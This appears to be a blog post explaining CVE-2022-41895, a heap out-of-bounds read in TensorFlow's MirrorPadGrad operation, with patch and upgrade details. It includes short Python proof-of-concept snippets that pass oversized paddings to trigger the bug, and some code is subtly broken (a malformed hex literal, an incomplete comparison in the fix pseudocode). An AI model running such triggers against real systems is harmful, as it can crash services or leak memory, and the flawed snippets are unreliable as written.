TensorFlow is one of the most popular open-source platforms for machine learning. It is developed and maintained by Google and widely used across industries and research projects. However, like any large codebase, it’s possible for certain bugs and security vulnerabilities to creep in.

One such vulnerability, tracked as CVE-2022-41895, was found in a specific TensorFlow operation called MirrorPadGrad. In this post, we’ll break down what this means, how the issue works, why it matters, and show you how it can be exploited (in a safe, educational way). You'll also find links to more details and the exact code patch that fixed this issue.

What is the Problem?

The bug exists in MirrorPadGrad, a tensor operation used in backpropagation for “mirrored padding.” If you feed MirrorPadGrad an input with padding values that are much larger than they should be (outsize), TensorFlow can accidentally access invalid memory — reading (and possibly writing) data outside the bounds of the allowed heap memory. In security terms, this is a heap out-of-bounds (OOB) read.

This can trigger a crash, lead to data corruption, or even potentially allow for arbitrary code execution, though the most common result is loss of stability and possible data leaks.

Where Was It Fixed?

The TensorFlow team patched this bug with GitHub commit 717ca98. The fix will be part of TensorFlow 2.11, and has also been picked (backported) for versions 2.10.1, 2.9.3, and 2.8.4 — so if you’re using those, update as soon as possible!

- Patch commit: 717ca98
- Release notes: TensorFlow security advisories

Pinpointing the Vulnerability

Let’s look at the problem in more detail, using simplified code.

A paddings tensor, which describes how much padding to apply at the tensor’s edges

Due to missing or improper validation, someone can provide a paddings array with absurdly large numbers. When processing these paddings, the TensorFlow backend might read or write memory outside the space reserved for the operation:

import tensorflow as tf

# Hypothetical example Input
x = tf.constant([[1, 2, 3]], dtype=tf.float32)        # Simple 1x3 tensor
paddings = tf.constant([[100, 100]], dtype=tf.int32) # Outsize paddings

# Vulnerable call
try:
    out = tf.raw_ops.MirrorPadGrad(input=x, paddings=paddings, mode="REFLECT")
    print(out)
except Exception as e:
    print("Oops! TensorFlow threw an error:", e)

Or even leak data (an OOB read)

In patched versions, TensorFlow raises an error saying your paddings are invalid.

Here’s how a proof of concept might look in real life

import tensorflow as tf

def trigger_oob():
    # You can tweak numbers here; any excessive paddings can expose the bug
    paddings = tf.constant([[x7fffffff, x7fffffff]], dtype=tf.int32)
    data = tf.ones([1, 3], dtype=tf.float32)

    # This line is unsafe on vulnerable versions!
    tf.raw_ops.MirrorPadGrad(input=data, paddings=paddings, mode="REFLECT")

try:
    trigger_oob()
except Exception as e:
    print("Error handled safely:", e)

This is dangerous if run on a vulnerable version because the interpreter could crash, or (rarely) access memory that’s not supposed to be accessible. That’s a real problem in production or on shared machines, where someone might want to cause trouble deliberately.

Fix Details

The patch simply adds stronger validation for input padding values, checking to be sure they don’t create buffer overruns:

// C++ (simplified) pseudocode before:
for (...) {
    int pad = paddings[i];  // No check if pad is too large
    ...
}

// After patch (pseudo):
for (...) {
    int pad = paddings[i];
    if (pad <  || pad > limit) {
        // throw error: invalid paddings
    }
    ...
}

This prevents any operation with outsize paddings from ever getting to dangerous memory accesses.

Upgrade to TensorFlow 2.11 or latest 2.x patch version.

- If on an affected earlier release (2.8.x–2.10.x), apply the patched subversion (2.8.4, 2.9.3, or 2.10.1).

References & Further Reading

- Official advisory: GHSA-p9jf-cvf8-98cj
- Patch commit: 717ca98 on GitHub
- Learn about MirrorPad
- TensorFlow security page

Conclusion

CVE-2022-41895 is a reminder that even the best open-source frameworks can have security issues. Understanding the details, updating your software, and validating user inputs can help keep your data and systems safe.

Stay safe — and, as always, upgrade your dependencies!


*(This exclusive post was written in plain English to help all TensorFlow users understand the risks and solutions related to CVE-2022-41895.)*

Timeline

Published on: 11/18/2022 22:15:00 UTC
Last modified on: 11/22/2022 21:26:00 UTC